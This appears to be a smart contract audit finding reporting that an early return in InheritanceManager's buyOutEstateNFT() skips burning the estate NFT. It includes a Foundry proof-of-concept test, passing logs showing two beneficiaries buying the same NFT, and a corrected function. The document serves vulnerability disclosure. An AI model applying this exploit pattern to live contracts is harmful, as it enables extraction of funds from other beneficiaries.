Summary
The buyOutEstateNFT() function in the InheritanceManager contract prematurely returns when the caller is a beneficiary, failing to burn the NFT. This allows the same NFT to be purchased multiple times by different beneficiaries.
Vulnerability Details
In the buyOutEstateNFT() function, there's an early return statement inside the distribution loop that prevents the NFT from being burned when the function is called by a beneficiary:
function buyOutEstateNFT(uint256 _nftID) external onlyBeneficiaryWithIsInherited {
uint256 value = nftValue[_nftID];
uint256 divisor = beneficiaries.length;
uint256 multiplier = beneficiaries.length - 1;
uint256 finalAmount = (value / divisor) * multiplier;
IERC20(assetToPay).safeTransferFrom(msg.sender, address(this), finalAmount);
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
return;
} else {
IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
}
}
nft.burnEstate(_nftID);
}
The early return statement inside the loop means the nft.burnEstate(_nftID) line is never executed when the function is called by a beneficiary, leaving the NFT intact. Since most legitimate callers will be beneficiaries (due to the onlyBeneficiaryWithIsInherited modifier), this means the NFT will almost never be burned.
PoC
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract NFTBurnVulnerabilityPoC is Test {
InheritanceManager public im;
ERC20Mock public usdc;
address owner = makeAddr("owner");
address beneficiary1 = makeAddr("beneficiary1");
address beneficiary2 = makeAddr("beneficiary2");
address beneficiary3 = makeAddr("beneficiary3");
uint256 public nftId;
function setUp() public {
vm.startPrank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
im.addBeneficiery(beneficiary1);
im.addBeneficiery(beneficiary2);
im.addBeneficiery(beneficiary3);
im.createEstateNFT("Vulnerable Estate", 3_000_000, address(usdc));
nftId = 1;
vm.stopPrank();
usdc.mint(beneficiary1, 10_000_000);
usdc.mint(beneficiary2, 10_000_000);
usdc.mint(beneficiary3, 10_000_000);
vm.warp(block.timestamp + 100 days);
vm.prank(beneficiary1);
im.inherit();
}
function test_NFTBurnVulnerability() public {
uint256 initialB1Balance = usdc.balanceOf(beneficiary1);
uint256 initialB2Balance = usdc.balanceOf(beneficiary2);
vm.startPrank(beneficiary1);
usdc.approve(address(im), 10_000_000);
im.buyOutEstateNFT(nftId);
vm.stopPrank();
uint256 b1BalanceAfterBuyout = usdc.balanceOf(beneficiary1);
assertTrue(b1BalanceAfterBuyout < initialB1Balance, "Beneficiary1 should have paid for NFT");
console.log("First buyout successful:");
console.log("Beneficiary1 initial balance:", initialB1Balance);
console.log("Beneficiary1 balance after buyout:", b1BalanceAfterBuyout);
console.log("Difference:", initialB1Balance - b1BalanceAfterBuyout);
vm.startPrank(beneficiary2);
usdc.approve(address(im), 10_000_000);
im.buyOutEstateNFT(nftId);
vm.stopPrank();
uint256 b2BalanceAfterBuyout = usdc.balanceOf(beneficiary2);
assertTrue(b2BalanceAfterBuyout < initialB2Balance,
"Beneficiary2 should have paid for NFT (proving NFT wasn't burned)");
console.log("Second buyout successful (VULNERABILITY):");
console.log("Beneficiary2 initial balance:", initialB2Balance);
console.log("Beneficiary2 after buyout:", b2BalanceAfterBuyout);
console.log("Difference:", initialB2Balance - b2BalanceAfterBuyout);
uint256 b1FinalBalance = usdc.balanceOf(beneficiary1);
assertTrue(b1FinalBalance > b1BalanceAfterBuyout,
"Beneficiary1 should have received distribution from second buyout");
console.log("----- VULNERABILITY CONFIRMED -----");
console.log("Same NFT was bought twice, proving it wasn't burned after first purchase");
console.log("Root cause: Early return in buyOutEstateNFT() when caller is a beneficiary");
}
}
PoC Result:
forge test --match-test test_NFTBurnVulnerability -vvv
[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTBurnVulnerabilityPoC.t.sol:NFTBurnVulnerabilityPoC
[PASS] test_NFTBurnVulnerability() (gas: 166749)
Logs:
First buyout successful:
Beneficiary1 initial balance: 10000000
Beneficiary1 balance after buyout: 8000000
Difference: 2000000
Second buyout successful (VULNERABILITY):
Beneficiary2 initial balance: 10000000
Beneficiary2 after buyout: 8000000
Difference: 2000000
----- VULNERABILITY CONFIRMED -----
Same NFT was bought twice, proving it wasn't burned after first purchase
Root cause: Early return in buyOutEstateNFT() when caller is a beneficiary
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.44ms (1.74ms CPU time)
Ran 1 test suite in 5.59ms (2.44ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
This vulnerability allows the same NFT to be purchased multiple times by different beneficiaries, potentially extracting far more value from the contract than intended. Each beneficiary can buy the same NFT, paying other beneficiaries each time. This breaks the intended one-time buyout mechanism and could result in:
Unintended multiple payments for the same NFT
A permanent NFT that can never be properly acquired or removed from the system
Potential for malicious beneficiaries to extract excess funds from other beneficiaries
The bug is trivial to exploit by simply having multiple beneficiaries call the buyOutEstateNFT() function on the same NFT ID
Tools Used
Foundry
Manuel code review
Recommendations
Move the NFT burning logic outside of the distribution loop to ensure it's always executed, regardless of which beneficiary calls the function:
function buyOutEstateNFT(uint256 _nftID) external onlyBeneficiaryWithIsInherited {
uint256 value = nftValue[_nftID];
uint256 divisor = beneficiaries.length;
uint256 multiplier = beneficiaries.length - 1;
uint256 finalAmount = (value / divisor) * multiplier;
IERC20(assetToPay).safeTransferFrom(msg.sender, address(this), finalAmount);
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender != beneficiaries[i]) {
IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
}
}
nft.burnEstate(_nftID);
}
